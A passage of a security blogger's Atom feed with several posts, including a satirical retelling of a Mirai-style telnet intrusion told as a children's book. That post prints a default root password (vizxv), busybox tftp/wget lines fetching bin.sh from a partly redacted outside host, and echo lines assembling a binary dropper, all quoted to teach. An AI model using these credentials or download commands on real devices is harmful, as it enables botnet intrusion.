                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/professionalism" term="professionalism" label="professionalism" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/stoopid" term="stoopid" label="stoopid" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/uh-oh" term="uh-oh" label="uh-oh" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Ambulance Chasing]]></title>
            <link href="https://yourflyis0pen.com/article/ambulance-chasing/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/potato/?utm_source=atom_feed" rel="related" type="text/html" title="Po-tay-to... Po-tah-to..." />
                <link href="https://yourflyis0pen.com/article/mnsm/?utm_source=atom_feed" rel="related" type="text/html" title="MNSM for Dummies" />
                <link href="https://yourflyis0pen.com/article/if-you-leave-a-hacker/?utm_source=atom_feed" rel="related" type="text/html" title="If You Leave a Hacker a Default Password..." />
                <link href="https://yourflyis0pen.com/article/merica/?utm_source=atom_feed" rel="related" type="text/html" title="Now You&#39;re Messin&#39; With &#39;Merica" />
                <link href="https://yourflyis0pen.com/article/do-more-research/?utm_source=atom_feed" rel="related" type="text/html" title="Maybe You Should Do More Research..." />
            
                <id>https://yourflyis0pen.com/article/ambulance-chasing/</id>
            
            
            <published>2016-06-25T00:45:58-06:00</published>
            <updated>2016-06-25T00:45:58-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>There are a lot of unwritten rules in the security industry and, unfortunately, there&rsquo;s a whole crop of new companies coming up that just don&rsquo;t seem to understand them. So, as a public service, I&rsquo;m going to explicitly explain one of them here&hellip; i.e. an &ldquo;unwritten rule&rdquo; is about to become &ldquo;written&rdquo;:</p>
<p><em>Thou shalt not chaseth ambulances.</em></p>
<p>Now being somewhat &ldquo;old skool&rdquo; in my way of thinking, I&rsquo;m a little surprised that something like this even needs to be said.</p>
<p><em>Seriously.</em></p>
<p>According to Wikipedia (<em>The Oracle of All Knowledge - Praise be&hellip; Praise be&hellip;</em>), the term &ldquo;ambulance chasing,&rdquo; sometimes known as <em>barratry</em>, refers to a lawyer soliciting for clients at a disaster site. The term &ldquo;ambulance chaser&rdquo; comes from the stereotype of lawyers that follow ambulances to the emergency room to find clients.</p>
<p>Now, I spend an inordinate amount of my time at digital &ldquo;disaster sites.&rdquo; I contact lots and lots of folks who have had their websites hacked, and I generally do it in whatever is the most expedient way possible. I would rank &ldquo;notification methods&rdquo; as follows, from easiest to hardest:</p>
<ul>
<li>Twitter</li>
<li>Facebook</li>
<li>Email</li>
<li>Phone calls</li>
</ul>
<p>Unfortunately, tweeting, while fast and easy, is a bit &ldquo;public.&rdquo; Perhaps I need to rethink things.</p>
<p>Today, I fired off several tweets to notify some folks that they&rsquo;d been hacked. Over the years, I&rsquo;ve developed some pretty generic &ldquo;notification language&rdquo;:</p>
<p><img src="ambulance1.png" alt="Notification tweets"></p>
<p>A little while after firing off those tweets, I noticed that someone else had been paying attention:</p>
<p><img src="ambulance2.png" alt="Liking tweets"></p>
<p>Who is &ldquo;Astra?&rdquo; A quick look at their website shows that they sell a web application firewall targeted at PHP-based CMS solutions.</p>
<p>Now, I have no idea if their software is fifty shades of awesome or a total piece of crap. (<em>It does, however, appear to come with a &ldquo;Trust Seal&rdquo; that you can display on your site&hellip; a total guarantee of awesomeness <strong>EVERY. DAMNED. TIME.</strong></em>) I really didn&rsquo;t look into their product, because I first took a look at their tweet history. It screams &ldquo;ambulance chaser.&rdquo; (Actually, it screams &ldquo;<em>ambulance chaser with poor grammar</em>,&rdquo; but let&rsquo;s not quibble&hellip;)</p>
<p>Right there, I know everything I need to about Astra.</p>
<p>So&hellip; I called them out on it:</p>
<p><img src="ambulance3.png" alt="Hey&hellip; there goes an ambulance!"></p>
<p><em>&ldquo;Security is best sold to people hacked.&rdquo;</em></p>
<p>Uh, no&hellip; Security is &ldquo;best sold&rdquo; to people <em>before</em> they&rsquo;re hacked. Security is &ldquo;best sold&rdquo; based on the merits of your product, not on the fact that, like a scavenger, you show up at the kill site before the body has even had time to cool. Quick-fix snake oil often gets sold to people right after they&rsquo;ve been hacked. (Not that I&rsquo;m saying Astra is snake oil&hellip; I honestly don&rsquo;t know. They <em>do</em> have a &ldquo;Trust Seal,&rdquo; so there&rsquo;s that&hellip;)</p>
<p>Here&rsquo;s the thing: chasing ambulances is sleezy because its all too easy to take advantage of people who are already in a vulnerable place. Heck, even lawyers (who, let&rsquo;s face it, aren&rsquo;t generally known for their high ethical standards) look down on their peers who chase ambulances. In fact, rule 7.3 of the <em>American Bar Association Model Rules of Professional Conduct</em> specifically attempts to prohibit barratry.</p>
<p>If you&rsquo;re in the security biz, you really SHOULD know and understand the sleeze-factor behind ambulance chasing. I notify people they&rsquo;ve been compromised nearly every day, and I&rsquo;ve been <a href="https://yourflyis0pen.com/article/and-who-are-you/">implicitly and explicitly accused</a> of all manner of things, but I&rsquo;ve never felt more hurt than when someone says &ldquo;Oh, I suppose you want to sell me something to fix this&hellip;&rdquo;</p>
<p>No.</p>
<p>No, I don&rsquo;t.</p>
<p>You see, my goal is to live a professional life that - at minimum - meets or exceeds the <em>American Bar Association Model Rules of Professional Conduct</em>.</p>
<p>Because as &ldquo;bars&rdquo; go, the Bar&rsquo;s bar is pretty low.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
June 25, 2016</p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/professionalism" term="professionalism" label="professionalism" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/rulez" term="rulez" label="rulez" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Po-tay-to... Po-tah-to...]]></title>
            <link href="https://yourflyis0pen.com/article/potato/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/mnsm/?utm_source=atom_feed" rel="related" type="text/html" title="MNSM for Dummies" />
                <link href="https://yourflyis0pen.com/article/if-you-leave-a-hacker/?utm_source=atom_feed" rel="related" type="text/html" title="If You Leave a Hacker a Default Password..." />
                <link href="https://yourflyis0pen.com/article/merica/?utm_source=atom_feed" rel="related" type="text/html" title="Now You&#39;re Messin&#39; With &#39;Merica" />
                <link href="https://yourflyis0pen.com/article/do-more-research/?utm_source=atom_feed" rel="related" type="text/html" title="Maybe You Should Do More Research..." />
                <link href="https://yourflyis0pen.com/article/danger-will-robinson/?utm_source=atom_feed" rel="related" type="text/html" title="Danger, Will Robinson!" />
            
                <id>https://yourflyis0pen.com/article/potato/</id>
            
            
            <published>2016-06-22T00:29:35-06:00</published>
            <updated>2016-06-22T00:29:35-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>I returned from vacation to find two very different things:</p>
<ul>
<li>The refrigerator/freezer in our barn died while we were away, and instead of cooling, it decided to raise the food it stored to something slightly higher than room temperature
<ul>
<li>This situation created what can only be described as an &ldquo;incredibly unique&rdquo; smell</li>
<li>I also learned that a frozen turkey, enclosed in that sort of nifty shrink-wrap covering, &ldquo;out-gases&rdquo; enough after a few days at room temperature to resemble, ironically, a Macy&rsquo;s Thanksgiving Day Balloon.</li>
</ul>
</li>
<li>An odd package in the mailbox
<ul>
<li>It was unexpected, lumpy, and from somewhere I didn&rsquo;t recognize</li>
<li>Did I mention it was lumpy?</li>
</ul>
</li>
</ul>
<p>I opened it:</p>
<p><img src="potato.jpg" alt="A potato with writing"></p>
<p>Hey&hellip; look at that&hellip; someone out there actually appreciates the things I do to try to clean up the Internet.</p>
<p>Notifying people that their systems are compromised is a <a href="https://yourflyis0pen.com/article/danger-will-robinson/">pretty</a> <a href="https://yourflyis0pen.com/article/and-who-are-you/">thankless</a> <a href="https://yourflyis0pen.com/article/if-i-cant-see-it/">job</a> most of the time but, now, I&rsquo;ve been singled out for special recognition by a&hellip; well&hellip; a potato.</p>
<p>I strutted around a bit.</p>
<p>Seriously. Strutted.</p>
<p>Why not? I was appreciated&hellip;!</p>
<p>I was appreciated by someone with a fetish for root vegetables, but appreciated none-the-less.</p>
<p>I was cool&hellip;</p>
<p>My lovely wife, ever at the ready to keep me from getting too full of myself, brought me back to earth: &ldquo;Why is there a potato with writing on it sitting on the desk in the den?&rdquo;</p>
<p>Ok&hellip; maybe &ldquo;cool&rdquo; was an overstatement.</p>
<p>While she could diminish the &ldquo;coolness-factor&rdquo; of the medium of its expression, she could not diminish the import of the recognition.</p>
<p>That, fell to my daughter&hellip;</p>
<p>Skip ahead a day to find me answering a call from my eldest daughter, Mary. We talked for a bit about our vacation, I told her about turkey balloons, and then related the latest chapter in the saga of an item that I&rsquo;ve been trying to purchase for some time, but that seems doomed to never happen. Right before vacation, I finally received the item, only to discover that it had gotten broken in shipment.</p>
<blockquote>
<p>Mary: Wow&hellip; that&rsquo;s not good. So&hellip; it was pretty mashed?</p>
<p>TL: Well, not really &ldquo;mashed.&rdquo; Just sort of broken&hellip;</p>
<p>Mary: The UPS driver must&rsquo;ve been pretty baked to have broken it like that&hellip;</p>
<p>TL: &ldquo;Pretty baked?&rdquo; Who are you?</p>
<p>Mary: I&rsquo;m just sayin&rsquo;&hellip; To throw the box around and totally fry the contents&hellip;</p>
<p>TL: &ldquo;Mashed?&rdquo; &ldquo;Baked?&rdquo; &ldquo;Fried?&rdquo; Since when have you become little Miss Slang? Why are you making&hellip; references&hellip; to&hellip; potatos&hellip;&hellip;&hellip;..?</p>
</blockquote>
<p>Yes&hellip; that&rsquo;s when the other mental shoe dropped.</p>
<p>How does this relate to security?</p>
<p>For me, it serves as a perfect reminder that getting &ldquo;social engineered&rdquo; isn&rsquo;t so much about what someone else does as it is about our own expectations, desires, and insecurities.</p>
<p>Oh&hellip; and, dear daughter, always remember: payback is a bitch.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
June 22, 2016</p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/personal" term="personal" label="personal" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/hubris" term="hubris" label="hubris" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[MNSM for Dummies]]></title>
            <link href="https://yourflyis0pen.com/article/mnsm/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/merica/?utm_source=atom_feed" rel="related" type="text/html" title="Now You&#39;re Messin&#39; With &#39;Merica" />
                <link href="https://yourflyis0pen.com/article/if-i-cant-see-it/?utm_source=atom_feed" rel="related" type="text/html" title="If I Cant See It, It Isn&#39;t A Problem..." />
                <link href="https://yourflyis0pen.com/article/if-you-leave-a-hacker/?utm_source=atom_feed" rel="related" type="text/html" title="If You Leave a Hacker a Default Password..." />
                <link href="https://yourflyis0pen.com/article/do-more-research/?utm_source=atom_feed" rel="related" type="text/html" title="Maybe You Should Do More Research..." />
                <link href="https://yourflyis0pen.com/article/danger-will-robinson/?utm_source=atom_feed" rel="related" type="text/html" title="Danger, Will Robinson!" />
            
                <id>https://yourflyis0pen.com/article/mnsm/</id>
            
            
            <published>2016-06-20T00:05:42-06:00</published>
            <updated>2016-06-20T00:05:42-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>My buddy <a href="http://chrissanders.org/">Chris Sanders</a> has written an awesome book (<a href="http://amzn.to/28IZGyl"><em>Applied Network Security Monitoring: Collection, Detection, and Analysis</em></a>) detailing the practice behind network security monitoring (NSM). In addition to being an incredibly astute security analyst and author, Chris is truly one of the nicest people I know - and someone who puts his personal beliefs into action (<em>ex.</em> all of the proceeds from his books go to charity).</p>
<p>As much respect as I have for Chris (and for other, <a href="https://taosecurity.blogspot.com/">lesser known folks</a> who have written <a href="http://amzn.to/28J36qb">books about NSM</a>) they all - unfortunately - have it wrong.</p>
<p>You see, according to them you&rsquo;re - apparently - supposed to actually be DOING something about monitoring your network&hellip; Really? <em>REALLY!?!?</em></p>
<p>How quaint.</p>
<p>Doing something to monitor your network is SO twentieth century. It&rsquo;s time these authors dropped their throwback mentality and stepped into the era of <em><strong>Modern</strong> Network Security Monitoring (MNSM)</em>.</p>
<p>Chris and Richard and a whole lot of other people talk about these &ldquo;<em>packet</em>&rdquo; things like&hellip; well&hellip; like they&rsquo;re something real. They encourage you to &ldquo;capture&rdquo; them, &ldquo;log&rdquo; them, or &ldquo;monitor&rdquo; them as if such meaningless activity will actually accomplish something useful. What balderdash!</p>
<p>I&rsquo;m here to tell you that looking at the traffic on your network is nothing but a complete waste of your time. And time, as we all know, is money.</p>
<p>Why, pray tell, should we be expending time, effort, and money looking for these mythical &ldquo;<em>packets</em>&rdquo; when we have real work to do? I speak, of course, about <em>advertising</em>.</p>
<p>How can people know about the wonders of our sooper-dooper VPS hosting with cPanel / Parallels-Plesk / 100% Uptime Guarantee / Super-FAST SSD / 3TB transfer that you can stand up in 3 DAMN SECONDS FLAT for the low-low price of ONLYTHREEFRICKIN&rsquo;NINETYFIVE a month if we spend our time monitoring our networks instead of advertising our NEW! LOWER! PRICES???</p>
<p>How can we possibly undercut those evil OTHER GUYS (that just lowered their price to ONLYTHREEFRICKIN&rsquo;NINETYTHREE a month) if we spend money to actually monitor what&rsquo;s happening on our network?</p>
<p>There is, however, some good news&hellip; Using the proven techniques of MNSM, we can leverage the awesome power of the Internet <em>to monitor our network FOR us</em>. Here&rsquo;s how: Create an <code>abuse@</code> email alias or - even better - a &ldquo;report abuse&rdquo; web page on your corporate site and simply kick back and wait.</p>
<p><img src="MNSM.png" alt="Tweets"></p>
<p>Sure, we&rsquo;re allowing any miscreant that can scrape together enough spare change to buy a Happy Meal™ to have their very own server on the Internet. Sure, a lot of them have larceny at heart or are clueless to the point that they&rsquo;re going to use &ldquo;password&rdquo; for their password. Sure, that&rsquo;s going to likely cause a <em>LOT</em> of abusive outbound traffic.</p>
<p>But we&rsquo;re covered. <em>Totally covered</em>.</p>
<p>The Internet has our back. The folks out there who actually monitor their networks for attacks will let us know about the most egregious violators on our network. They are our NSM - and they&rsquo;re free.</p>
<p>We just need to watch that email address (or the output from that web page) and when the complaints about a certain IP address reach a high watermark (or we&rsquo;re feeling particularly frisky because we just lowered our price to ONLYTHREEFRICKIN&rsquo;NINETYONE a month&hellip; suck it, evil OTHER GUYS) we can fire off an email to a client telling them to knock off the crap or we&rsquo;ll ban ‘em.</p>
<p>Then we can go back to counting our money&hellip;</p>
<p><img src="MNSM2.png" alt="Tweet Response"></p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
June 20, 2016</p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/rant" term="rant" label="rant" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/stoopid" term="stoopid" label="stoopid" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[If You Leave a Hacker a Default Password...]]></title>
            <link href="https://yourflyis0pen.com/article/if-you-leave-a-hacker/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/merica/?utm_source=atom_feed" rel="related" type="text/html" title="Now You&#39;re Messin&#39; With &#39;Merica" />
                <link href="https://yourflyis0pen.com/article/danger-will-robinson/?utm_source=atom_feed" rel="related" type="text/html" title="Danger, Will Robinson!" />
                <link href="https://yourflyis0pen.com/article/and-who-are-you/?utm_source=atom_feed" rel="related" type="text/html" title="And... Who Are You?" />
                <link href="https://yourflyis0pen.com/article/if-i-cant-see-it/?utm_source=atom_feed" rel="related" type="text/html" title="If I Cant See It, It Isn&#39;t A Problem..." />
                <link href="https://yourflyis0pen.com/article/do-more-research/?utm_source=atom_feed" rel="related" type="text/html" title="Maybe You Should Do More Research..." />
            
                <id>https://yourflyis0pen.com/article/if-you-leave-a-hacker/</id>
            
            
            <published>2016-06-06T21:58:33-06:00</published>
            <updated>2016-06-06T21:58:33-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>In the interest of making security approachable, I’ve decided to attempt to bring proper security methodology down to a level that everyone can understand. Because my four-year-old niece lives with us, we’ve got a ton of children’s books lying around for inspiration. I decided to try passing along a little security knowledge by mimicking the style of the beloved children’s classic, <em>If You Give a Mouse a Cookie.</em></p>
<h1 id="if-you-leave-a-hacker-a-default-password">If you leave a hacker a default password,</h1>
<p><img src="iylahadp1.jpg" alt="An Eeevil Hacker"></p>
<div style="text-align: right;">
<h1 id="hell-use-it-to-log-into-your-telnet-server">He&rsquo;ll use it to log into your telnet server.</h1>
</div>
<p><img src="iylahadp2.jpg" alt="He&rsquo;s in!"></p>
<h1 id="once-hes-logged-into-your-telnet-server">Once he&rsquo;s logged into your telnet server,</h1>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>host login: root
</span></span><span style="display:flex;"><span>Password: vizxv
</span></span></code></pre></div><div style="text-align: right;">
<h1 id="hell-want-to-install-some-new-software">he&rsquo;ll want to install some new software.</h1>
</div>
<p><img src="iylahadp3.jpg" alt="Installing software"></p>
<h1 id="hell-try-to-download-something-via-tftp">He&rsquo;ll try to download something via TFTP,</h1>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span># busybox tftp 185.xx.xxx.xxx -c get bin.sh
</span></span><span style="display:flex;"><span>tftp: applet not found
</span></span></code></pre></div><div style="text-align: right;">
<h1 id="but-that-wont-work-so-hell-try-wget">but that won&rsquo;t work, so he&rsquo;ll try WGET.</h1>
</div>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span># busybox wget 185.xx.xxx.xxx -c get bin.sh
</span></span><span style="display:flex;"><span>wget: applet not found
</span></span></code></pre></div><h1 id="that-wont-work-either-so-hell-resort-to-creating-a-file-all-by-himself">That won&rsquo;t work either, so he&rsquo;ll resort to creating a file all by himself.</h1>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span># echo -en &#39;\x7f\x45\x4c...\x01\x00\x00\x00\xa4\x00&#39; &gt;&gt; retrieve &amp;&amp; echo -en &#39;\x52\x43\x56&#39;
</span></span><span style="display:flex;"><span>RCV
</span></span><span style="display:flex;"><span># echo -en &#39;\x01\x00\x34...\x28\x00\x06\x00\x05\x00&#39; &gt;&gt; retrieve &amp;&amp; echo -en &#39;\x52\x43\x56&#39;
</span></span><span style="display:flex;"><span>RCV
</span></span><span style="display:flex;"><span>.
</span></span><span style="display:flex;"><span>.
</span></span><span style="display:flex;"><span>.
</span></span><span style="display:flex;"><span># echo -en &#39;\x00\x00\x00...\x01\x00\x00\x00\x00\x00&#39; &gt;&gt; retrieve &amp;&amp; echo -en &#39;\x52\x43\x56&#39;
</span></span><span style="display:flex;"><span>RCV
</span></span></code></pre></div><div style="text-align: right;">
<h1 id="once-hes-created-that-file-hell-want-to-run-it">Once he&rsquo;s created that file, he&rsquo;ll want to run it.</h1>
</div>
<p><img src="iylahadp4.jpg" alt="He want&rsquo;s to run it"></p>
<h1 id="once-its-running-itll-download-another-one-of-the-hackers-files">Once its running, it&rsquo;ll download another one of the hacker&rsquo;s files.</h1>
<p><img src="loading.jpg" alt="Downloading"></p>
<div style="text-align: right;">
<h1 id="hell-want-to-run-that-one-too">He&rsquo;ll want to run that one too.</h1>
</div>
<p><img src="iylahadp5.jpg" alt="He want&rsquo;s to run that one too&hellip;"></p>
<h1 id="once-its-running-it-will-start-attacking-other-systems-on-the-internet">Once it&rsquo;s running, it will start attacking other systems on the Internet.</h1>
<p><img src="pew-pew.gif" alt="Attack!"></p>
<div style="text-align: right;">
<h1 id="while-its-attacking-other-systems-on-the-internet-it-might-come-across-toms-telnet-mirrortradehttpsyourflyis0pencomarticlemirror">While its attacking other systems on the Internet, it might come across <a href="https://yourflyis0pen.com/article/mirror/">Tom&rsquo;s Telnet Mirror™</a>.</h1>
</div>
<p><img src="mirror.gif" alt="Cat attacking mirror"></p>
<h1 id="if-the-code-attacks-toms-telnet-mirrortradehttpsyourflyis0pencomarticlemirror-itll-redirect-the-attack-right-back-to-your-system">If the code attacks <a href="https://yourflyis0pen.com/article/mirror/">Tom&rsquo;s Telnet Mirror™</a>, it&rsquo;ll redirect the attack right back to your system.</h1>
<p><img src="bounce.jpg" alt="Bounce!"></p>
<div style="text-align: right;">
<h1 id="and-chances-are-if-the-attack-is-reflected-right-back-to-your-system-itll-probably-try-logging-in-using-a-default-password">And, chances are, if the attack is reflected right back to your system, it&rsquo;ll probably try logging in using a default password.</h1>
</div>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>host login: root
</span></span><span style="display:flex;"><span>Password: vizxv
</span></span></code></pre></div><div style="text-align: right;">
<p><em>With apologies to Laura Numeroff<br>
If you have young&rsquo;uns, seriously consider buying the original&hellip; they&rsquo;ll love it.<br>
And for Pete&rsquo;s sake&hellip; change those frickin&rsquo; passwords, mmmmkay?</em></p>
</div>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
June 6, 2016</p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/rant" term="rant" label="rant" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Now You're Messin' With 'Merica]]></title>
            <link href="https://yourflyis0pen.com/article/merica/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/do-more-research/?utm_source=atom_feed" rel="related" type="text/html" title="Maybe You Should Do More Research..." />
                <link href="https://yourflyis0pen.com/article/and-who-are-you/?utm_source=atom_feed" rel="related" type="text/html" title="And... Who Are You?" />
                <link href="https://yourflyis0pen.com/article/if-i-cant-see-it/?utm_source=atom_feed" rel="related" type="text/html" title="If I Cant See It, It Isn&#39;t A Problem..." />
                <link href="https://yourflyis0pen.com/article/partly-cloudy/?utm_source=atom_feed" rel="related" type="text/html" title="Partly Cloudy With a Chance of a Colon Clense" />
                <link href="https://yourflyis0pen.com/article/alright/?utm_source=atom_feed" rel="related" type="text/html" title="The Kids Are OK OK OK OK OK OK OK" />
            
                <id>https://yourflyis0pen.com/article/merica/</id>
            
            
            <published>2016-06-03T21:33:11-06:00</published>
            <updated>2016-06-03T21:33:11-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>The day after <a href="https://yourflyis0pen.com/article/do-more-research/">my adventure with the fine upstanding folks at SpeedyPaper</a> (who provide students with research paper &ldquo;assistance&rdquo;) began, I once again found myself awake, early in the morning, trolling through Google for interesting &ldquo;stuff.&rdquo;</p>
<p>Knowing that hackers had somehow been mysteriously inspired to place links back to SpeedyPaper on the U.S. Capitol&rsquo;s virtual tour site, I wondered if that mystical, magical spell that SpeedyPaper unwittingly cast over the sKr1pt K1dz might have claimed other victims.</p>
<p>Note: <em>I can&rsquo;t even get my kids to pick up their frickin&rsquo; laundry&hellip;</em></p>
<p>Note 2: I must apologize. SpeedyPaper has said that it was a &ldquo;competitor&rdquo; who somehow inspired those hacks.</p>
<p>Anyway, doing a bit more digging, I rather quickly found more sites. I&rsquo;m in the process of attempting to contact several, but here are two (that I&rsquo;ve already contacted) that bothered me the most:</p>
<p><strong>http://navyleague.org</strong> - Founded in 1902 with the encouragement of President Theodore Roosevelt, the Navy League has provided a powerful voice for a stronger sea service to Congress and to the American people. The Navy League has grown into the foremost citizens&rsquo; organization to serve, support and stand with all the sea services – the U.S. Navy, U.S. Marine Corps, U.S. Coast Guard and U.S.-flag Merchant Marine.</p>
<p><em>When violating the U.S. Capitol site to make a buck isn&rsquo;t shitty enough, feel free to screw with the military.</em></p>
<p>Seriously&hellip; how do people like this sleep at night? What do you tell your kids you do for a living?</p>
<blockquote>
<p><em>Johnny&hellip; Susie&hellip; Daddy runs a business that hooks-up spoiled, over-indulged, rich kids with pre-written term papers so they can party rather than study in school and still get good grades. Additionally, my very presence on earth inspires Internet miscreants to - out of the goodness of their hearts - hack into websites operated by our government and service organizations supporting our military and (of their own volition) place SEO-boosting advertisements for my company. Apparently, my complete lack of scruples regarding the sanctity of our educational process (earning a degree? how bourgeois!) also extends to those I inspire - reinforcing their complete lack of morality when it comes to property rights. Aren&rsquo;t you proud of daddy?</em></p>
<p><em>Johnny and Susie spend the rest of their lives in therapy.</em></p>
<p><em>THE END</em></p>
</blockquote>
<p><strong>http://skylinechili.com</strong> - I&hellip; I&hellip; I&hellip; Words cannot express the anger and utter revulsion that boils up inside of me when I think of the violation that this represents. Screw the Capitol (well&hellip; no&hellip; that&rsquo;s not right, but you know what I mean&hellip;) THIS is perhaps the most revolting desecration of the American way of life I can imagine. <em>SKYLINE-FRICKIN-CHILI?!?!?</em> You bastards. You dare to profane Skyline Chili?!?!? Now you&rsquo;re messin&rsquo; with ‘Merica.</p>
<p><em>Disclaimer: I was born and raised in Ohio - the Home of Skyline Chili (I believe that&rsquo;s on the license plates&hellip;). Within the borders of Ohio, this would be considered the most mortal of sins. Trust me.</em></p>
<p><em><strong>A Moral Tale of Temptation and Consequences</strong></em></p>
<p>Many years ago, a close friend of mine and I were approached by a gentleman who we knew through a program we attended with our children at the local YMCA. He knew that I worked in security and that both my friend and I programmed, and he asked if he could meet with us one evening to discuss hiring us to do some work for his company. When the appointed evening came, my friend and I were greeted at the front door of an incredibly beautiful home - tastefully decorated and appointed with lots of &ldquo;high-end&rdquo; touches. After sitting with this gentleman and his lovely wife for a bit and getting acquainted, he eventually asked us to adjourn to his home office to &ldquo;discuss business.&rdquo;</p>
<p>I should have gotten a clue when he closed and locked the office door.</p>
<p>You see, the job that our acquaintance wanted us to perform was to create a cryptographically sound &ldquo;token&rdquo; system to use for his <em>business</em>: interactive live video streaming of&hellip; well&hellip; people&hellip; female people&hellip; doing various&hellip; things. Our &ldquo;friend&rdquo; was losing &ldquo;clients&rdquo; because credit card processing for individual video &ldquo;sessions&rdquo; was cumbersome. If a &ldquo;session-time&rdquo; expired before&hellip; well&hellip; a client did, pulling out the ol&rsquo; credit card and typing in a bunch of digits probably killed the mood. His idea was to have clients pre-purchase various quantities of &ldquo;tokens&rdquo; (with appropriate discounts for buying in bulk&hellip; <em>exactly</em> like Costco! Ok&hellip; maybe not <em>exactly</em> like Costco&hellip;) making the whole process of &ldquo;extending time&rdquo;&hellip; and other things&hellip; work a whole lot smoother.</p>
<p>Now, I must admit, the idea itself was actually pretty intriguing. It was filled with all sorts of incredibly interesting technically-challenging work. The &ldquo;remuneration&rdquo; numbers he was tossing around weren&rsquo;t too shabby, either.</p>
<p>But&hellip; my mind kept getting pulled back to that locked door.</p>
<p>Here was a man who was - yes - providing for his family, but who was so totally ashamed of what he did for a living that he kept it closed off from everyone he knew - hiding it behind a locked door.</p>
<p>His wife didn&rsquo;t know, his parents and siblings didn&rsquo;t know&hellip; and the little girl asleep upstairs in her room didn&rsquo;t know.</p>
<p>He lived in agonizing fear of them ever finding out&hellip; and he always locked the door to his office.</p>
<p>Those of us who work in security walk along a lot of lines. We&rsquo;re deeply aware, perhaps more so than in any other profession, of what happens to those who make the error of stepping across those lines.</p>
<p>I joke around and make fun of a lot of things on this site - ‘cause that&rsquo;s just how I am - but I&rsquo;m serious about this: Don&rsquo;t cross that line&hellip;</p>
<p>And tonight, spend some time telling your kids about all the good things you do.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
June 3, 2016</p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/series/the-term-paper-blues" term="the-term-paper-blues" label="The Term Paper Blues" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/stoopid" term="stoopid" label="stoopid" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/rant" term="rant" label="rant" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/webapp" term="webapp" label="webapp" />
                             
